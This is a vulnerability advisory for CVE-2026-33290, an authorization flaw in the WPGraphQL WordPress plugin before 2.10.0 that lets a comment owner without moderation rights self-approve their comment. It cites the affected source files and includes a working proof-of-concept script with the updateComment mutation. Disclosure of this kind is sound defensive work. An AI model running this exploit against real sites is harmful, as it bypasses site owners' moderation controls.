CVE-2026-33290

Severity CVSS v4.0:
Pending analysis
Type:
Unavailable / Other
Publication date:
24/03/2026
Last modified:
24/03/2026

Description

WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.<br /> <br /> ### Details<br /> <br /> In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:<br /> <br /> - plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.<br /> - plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.<br /> - plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.<br /> - plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.<br /> - plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).<br /> <br /> This means a non-moderator owner can submit status during update and transition moderation state.<br /> <br /> ### PoC<br /> <br /> Tested in local wp-env (Docker) with WPGraphQL 2.9.1.<br /> <br /> 1. Start environment:<br /> <br /> npm install<br /> npm run wp-env start<br /> <br /> 2. Run this PoC:<br /> <br /> ```<br /> npm run wp-env run cli -- wp eval &amp;#39;<br /> add_role("no_caps","No Caps",[]);<br /> $user_id = username_exists("poc_nocaps");<br /> if ( ! $user_id ) {<br /> $user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");<br /> }<br /> $user = get_user_by("id",$user_id);<br /> $user-&gt;set_role("no_caps");<br /> <br /> $post_id = wp_insert_post([<br /> "post_title" =&gt; "PoC post",<br /> "post_status" =&gt; "publish",<br /> "post_type" =&gt; "post",<br /> "comment_status" =&gt; "open",<br /> ]);<br /> <br /> $comment_id = wp_insert_comment([<br /> "comment_post_ID" =&gt; $post_id,<br /> "comment_content" =&gt; "pending comment",<br /> "user_id" =&gt; $user_id,<br /> "comment_author" =&gt; $user-&gt;display_name,<br /> "comment_author_email" =&gt; $user-&gt;user_email,<br /> "comment_approved" =&gt; "0",<br /> ]);<br /> <br /> wp_set_current_user($user_id);<br /> <br /> $result = graphql([<br /> "query" =&gt; "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",<br /> "variables" =&gt; [ "id" =&gt; (string)$comment_id ],<br /> ]);<br /> <br /> echo wp_json_encode([<br /> "role_caps" =&gt; array_keys(array_filter((array)$user-&gt;allcaps)),<br /> "status" =&gt; $result["data"]["updateComment"]["comment"]["status"] ?? null,<br /> "db_comment_approved" =&gt; get_comment($comment_id)-&gt;comment_approved ?? null,<br /> "comment_id" =&gt; $comment_id<br /> ]);<br /> &amp;#39;<br /> ```<br /> <br /> 3. Observe result:<br /> <br /> - role_caps is empty (or no moderate_comments)<br /> - mutation returns status: APPROVE<br /> - DB value becomes comment_approved = 1<br /> <br /> ### Impact<br /> <br /> This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.